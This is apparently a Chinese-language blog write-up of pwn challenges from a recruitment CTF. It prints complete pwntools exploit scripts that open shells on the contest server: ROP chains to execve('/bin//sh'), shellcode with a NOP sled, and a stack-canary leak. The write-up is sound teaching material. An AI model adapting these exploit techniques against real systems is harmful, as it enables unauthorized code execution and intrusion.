403招新赛

首先我得搞明白静态编译是什么

静态编译(Static Compilation) 是一种将程序及其所有依赖的库在编译时直接打包到最终可执行文件中的编译方式。与之相对的是动态编译(Dynamic Compilation),后者在运行时才通过动态链接库(如 .dll.so 文件)加载依赖

还是见识少了

rop_master

考点

难道是rop大杂烩?

分析

没开pie,地址固定

俩个自定义函数

setbuf,vuln

setbuf怎么这么长

好的,setbuf不重要,看vuln

vuln中有溢出

offset = 72 = 0x48

找找gadgets

ok方法出错了

ROPgadget –binary rop –ropchain

用这个

命令运行后会输出:

  • 所有找到的 gadgets 列表
  • 自动生成的 ROP 链(通常以 Python 代码形式展示)

可以参考,实际用下来还是有点问题的

EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
from pwn import *

context(os='linux', arch='amd64', log_level='debug')

flag = 1
if flag == 1:
o = remote('139.224.0.166', 10000)
else:
o = process('./main1')

#!/usr/bin/env python3
# execve generated by ROPgadget

from struct import pack

# Padding goes here
p = b'A' * 0x48

p += pack('<Q', 0x0000000000409f5e) # pop rsi ; ret
p += pack('<Q', 0x00000000004c50e0) # @ .data
p += pack('<Q', 0x000000000044fd07) # pop rax ; ret
p += b'/bin//sh'
p += pack('<Q', 0x0000000000452475) # mov qword ptr [rsi], rax ; ret
p += pack('<Q', 0x0000000000409f5e) # pop rsi ; ret
p += pack('<Q', 0x00000000004c50e8) # @ .data + 8
p += pack('<Q', 0x000000000043ea79) # xor rax, rax ; ret
p += pack('<Q', 0x0000000000452475) # mov qword ptr [rsi], rax ; ret
p += pack('<Q', 0x0000000000401eef) # pop rdi ; ret
p += pack('<Q', 0x00000000004c50e0) # @ .data
p += pack('<Q', 0x0000000000409f5e) # pop rsi ; ret
p += pack('<Q', 0x00000000004c50e8) # @ .data + 8
p += pack('<Q', 0x0000000000485bab) # pop rdx ; pop rbx ; ret
p += pack('<Q', 0x00000000004c50e8) # @ .data + 8
p += pack('<Q', 0x4141414141414141) # padding
p += pack('<Q', 0x000000000043ea79) # xor rax, rax ; ret
p += pack('<Q', 0x0000000000478270) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000478270) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000478270) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000478270) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000478270) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000478270) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000478270) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000478270) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000478270) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000478270) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000478270) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000478270) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000478270) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000478270) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000478270) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000478270) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000478270) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000478270) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000478270) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000478270) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000478270) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000478270) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000478270) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000478270) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000478270) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000478270) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000478270) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000478270) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000478270) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000478270) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000478270) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000478270) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000478270) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000478270) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000478270) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000478270) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000478270) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000478270) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000478270) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000478270) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000478270) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000478270) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000478270) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000478270) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000478270) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000478270) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000478270) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000478270) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000478270) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000478270) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000478270) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000478270) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000478270) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000478270) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000478270) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000478270) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000478270) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000478270) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000478270) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000401ca4) # syscall


o.sendline(p)
o.interactive()

summary

像这题就可以自动化构造了

  • struct.pack: 用于将整数打包成二进制格式(也可用p64/p32代替)

shellcode_master

考点

最好真的是shellcode

分析

好!

这里出现了个以前没见过的情况

想看看vuln函数的伪c,结果IDA报错了

IDA Pro在分析地址<font style="color:#DF2A3F;">0x8049853</font>处的函数调用时遇到了问题

看看用gdb调试会发生什么

好的,看不出什么问题

学长建议直接看汇编,确实这样也方便

EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
from pwn import *

# 设置
context.binary = './main3'
context.log_level = 'debug'

# 1. 本地/远程
flag = 1
if flag == 1:
p = remote('139.224.0.166', 9999)
else:
p = process('./main3')
# gdb.attach(p, 'b *vuln+xxx') # 调试

# 2. 生成shellcode
shellcode = asm(shellcraft.sh())

# 3. 构建payload
# buf在ebp-0x48,需要覆盖到返回地址:0x48 + 4(ebp) = 76字节
#返回地址是一定要覆盖的,其实就是为了模拟正常的函数调用,覆盖成什么在这道题中无所谓
,(栈溢出覆盖返回地址的话就要注意一下)主要是没有返回地址的话系统要报错
offset = 76

payload = shellcode
payload += b'\x90' * (offset - len(shellcode))#NOP滑板
#CPU执行:NOP → NOP → NOP → NOP ... (什么都不做,只是向前移动)

# 4. 发送payload
p.recvuntil('Input your payload: ')
p.sendline(payload)

# 5. 交互
p.interactive()

summary

还真就是shellcode

rop_master_revenge

考点

rop,最好是吧

分析

不好:(

有俩溢出

EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
from pwn import *

context.binary = './main2'
#context.binary: 设置目标二进制文件,pwntools会自动分析ELF信息,这个之前还真没见过
context.log_level = 'debug'
from struct import pack
#p = process('./main2')

flag = 1
if flag == 1:
p = remote('139.224.0.166', 10001)
else:
p = process('./main1')
# 第一阶段:泄露canary
p.recvuntil("Stage 1: Try to leak the canary")
p.recvuntil("Input: ")

# 在x64架构中,canary通常放在rbp之前
# 布局: [局部变量][canary][rbp][返回地址]
# canary的第一个字节是0x00(空字节),防止字符串泄露


# 发送payload泄露canary
payload = b'A' * 0x48 + b'\x90' # 覆盖canary的第一个字节

# 0x48 = 72字节,覆盖到canary之前
# b'\x90' 覆盖canary的第一个字节(将0x00改为0x90)
# 这样printf等函数就不会在0x00处停止,可以输出canary的其他字节


p.send(payload)

p.recvuntil("Output: ")
output = p.recvline().strip()
#strip(): 是Python字符串方法(也可用于字节字符串),用于移除字符串两端的空白字符
#如空格、制表符、换行符等)。例如,对b'Hello\n'应用.strip()会返回b'Hello'

# 提取canary - 从偏移0x48开始取8字节
canary_leak = output[0x48:0x48+8] # 8个字节
canary = b'\x00' + canary_leak[1:8] # 重建完整的canary
# canary的第一个字节是0x00,后面7字节是随机值
print(f"Leaked canary: {canary.hex()}")

# 第二阶段:ROP攻击
p.recvuntil("Stage 2: Now exploit with the leaked canary")
p.recvuntil("Input your payload: ")


payload2 = b'A' * 0x48
payload2 += canary # 覆盖canary
payload2 += b'B' * 8 # 覆盖RBP

# 1. 将"/bin//sh"写入.data段
payload2 += pack('<Q', 0x000000000040a02e) # pop rsi ; ret
payload2 += pack('<Q', 0x00000000004c50e0) # @ .data
payload2 += pack('<Q', 0x000000000044ff07) # pop rax ; ret
payload2 += b'/bin//sh'
payload2 += pack('<Q', 0x0000000000452675) # mov qword ptr [rsi], rax ; ret

# 2. 在.data+8处写入NULL(作为argv数组的结束标记)
payload2 += pack('<Q', 0x000000000040a02e) # pop rsi ; ret
payload2 += pack('<Q', 0x00000000004c50e8) # @ .data + 8
payload2 += pack('<Q', 0x000000000043ec59) # xor rax, rax ; ret
payload2 += pack('<Q', 0x0000000000452675) # mov qword ptr [rsi], rax ; ret

# 3. 设置execve参数(标准64位Linux调用约定)
# rdi = 文件路径
payload2 += pack('<Q', 0x0000000000401fbf) # pop rdi ; ret
payload2 += pack('<Q', 0x00000000004c50e0) # @ .data -> "/bin//sh"

# rsi = argv (指针数组:["/bin//sh", NULL])
payload2 += pack('<Q', 0x000000000040a02e) # pop rsi ; ret
payload2 += pack('<Q', 0x00000000004c50e8) # @ .data + 8 (这里应该是argv数组的地址,需要调整)

# rdx = envp (NULL)
payload2 += pack('<Q', 0x0000000000485dab) # pop rdx ; pop rbx ; ret
payload2 += pack('<Q', 0x0000000000000000) # rdx = 0 (NULL)
payload2 += pack('<Q', 0x0000000000000000) # rbx = 0 (任意值)

# 4. 设置rax = 59 (execve系统调用号)
# 更高效的方式:直接pop rax
payload2 += pack('<Q', 0x000000000044ff07) # pop rax ; ret
payload2 += pack('<Q', 59) # execve系统调用号

# 5. syscall
payload2 += pack('<Q', 0x0000000000401d74) # syscall
p.send(payload2)

p.interactive()

成了

summary

后面的rop先是用**ROPgadget –binary rop –ropchain**搞出来的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
#!/usr/bin/env python3
# execve generated by ROPgadget

from struct import pack

# Padding goes here
p = b''
#payload2 = b'A' * 0x48
#payload2 += canary # 覆盖canary
#payload2 += b'B' * 8 # 覆盖RBP




p += pack('<Q', 0x000000000040a02e) # pop rsi ; ret
p += pack('<Q', 0x00000000004c50e0) # @ .data
p += pack('<Q', 0x000000000044ff07) # pop rax ; ret
p += b'/bin//sh'
p += pack('<Q', 0x0000000000452675) # mov qword ptr [rsi], rax ; ret
p += pack('<Q', 0x000000000040a02e) # pop rsi ; ret
p += pack('<Q', 0x00000000004c50e8) # @ .data + 8
p += pack('<Q', 0x000000000043ec59) # xor rax, rax ; ret
p += pack('<Q', 0x0000000000452675) # mov qword ptr [rsi], rax ; ret
p += pack('<Q', 0x0000000000401fbf) # pop rdi ; ret
p += pack('<Q', 0x00000000004c50e0) # @ .data
p += pack('<Q', 0x000000000040a02e) # pop rsi ; ret
p += pack('<Q', 0x00000000004c50e8) # @ .data + 8
p += pack('<Q', 0x0000000000485dab) # pop rdx ; pop rbx ; ret
p += pack('<Q', 0x00000000004c50e8) # @ .data + 8
p += pack('<Q', 0x4141414141414141) # padding
p += pack('<Q', 0x000000000043ec59) # xor rax, rax ; ret
p += pack('<Q', 0x0000000000478470) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000478470) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000478470) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000478470) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000478470) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000478470) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000478470) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000478470) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000478470) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000478470) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000478470) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000478470) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000478470) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000478470) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000478470) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000478470) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000478470) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000478470) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000478470) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000478470) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000478470) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000478470) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000478470) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000478470) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000478470) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000478470) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000478470) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000478470) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000478470) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000478470) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000478470) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000478470) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000478470) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000478470) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000478470) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000478470) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000478470) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000478470) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000478470) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000478470) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000478470) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000478470) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000478470) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000478470) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000478470) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000478470) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000478470) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000478470) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000478470) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000478470) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000478470) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000478470) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000478470) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000478470) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000478470) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000478470) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000478470) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000478470) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000478470) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000401d74) # syscall

实际用下来是有问题的

可以看到canary是成功泄露了,可是shell没有拿到

我们看看正确的payload2

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
payload2 = b'A' * 0x48
payload2 += canary # 覆盖canary
payload2 += b'B' * 8 # 覆盖RBP

# 1. 将"/bin//sh"写入.data段
payload2 += pack('<Q', 0x000000000040a02e) # pop rsi ; ret
payload2 += pack('<Q', 0x00000000004c50e0) # @ .data
payload2 += pack('<Q', 0x000000000044ff07) # pop rax ; ret
payload2 += b'/bin//sh'
payload2 += pack('<Q', 0x0000000000452675) # mov qword ptr [rsi], rax ; ret

# 2. 在.data+8处写入NULL(作为argv数组的结束标记)
payload2 += pack('<Q', 0x000000000040a02e) # pop rsi ; ret
payload2 += pack('<Q', 0x00000000004c50e8) # @ .data + 8
payload2 += pack('<Q', 0x000000000043ec59) # xor rax, rax ; ret
payload2 += pack('<Q', 0x0000000000452675) # mov qword ptr [rsi], rax ; ret

# 3. 设置execve参数(标准64位Linux调用约定)
# rdi = 文件路径
payload2 += pack('<Q', 0x0000000000401fbf) # pop rdi ; ret
payload2 += pack('<Q', 0x00000000004c50e0) # @ .data -> "/bin//sh"

# rsi = argv (指针数组:["/bin//sh", NULL])
payload2 += pack('<Q', 0x000000000040a02e) # pop rsi ; ret
payload2 += pack('<Q', 0x00000000004c50e8) # @ .data + 8 (这里应该是argv数组的地址,需要调整)

# rdx = envp (NULL)
payload2 += pack('<Q', 0x0000000000485dab) # pop rdx ; pop rbx ; ret
payload2 += pack('<Q', 0x0000000000000000) # rdx = 0 (NULL)
payload2 += pack('<Q', 0x0000000000000000) # rbx = 0 (任意值)

# 4. 设置rax = 59 (execve系统调用号)
# 更高效的方式:直接pop rax
payload2 += pack('<Q', 0x000000000044ff07) # pop rax ; ret
payload2 += pack('<Q', 59) # execve系统调用号

# 5. syscall
payload2 += pack('<Q', 0x0000000000401d74) # syscall

可以发现前者rax设置用了58次加法

execve的系统调用号是59,不是58。这是第一个错误

rsi参数错误rsi应该是指向argv数组的指针,而不是直接存放NULL

rdx参数错误rdx应该是NULL(0),但这里传入了.data+8地址

———————————————

rop_master_new

stack overflow

挺好

这vuln还没有canary

buf在rbp - 0x40处

good,syscall

挺好

当然也可以搓一个59(exe调用号)

*59就行

没”bin/sh”

但是可以写人到有rw的段

就你了

good

shellcode_master_new

还是32位的

offset = 0x48+0x4

经典32位的用栈传参

这好啊

good

rop_master_revenge_new

64,no pie

canary is here!

offset = 0x50+0x8

很经典的覆盖canary低字节leak方式

后面的rop跟前面一样

ok了


403招新赛
https://ghostshark-pro.github.io/2025/12/06/403招新赛/
Author
shark
Posted
2025年12月6日
License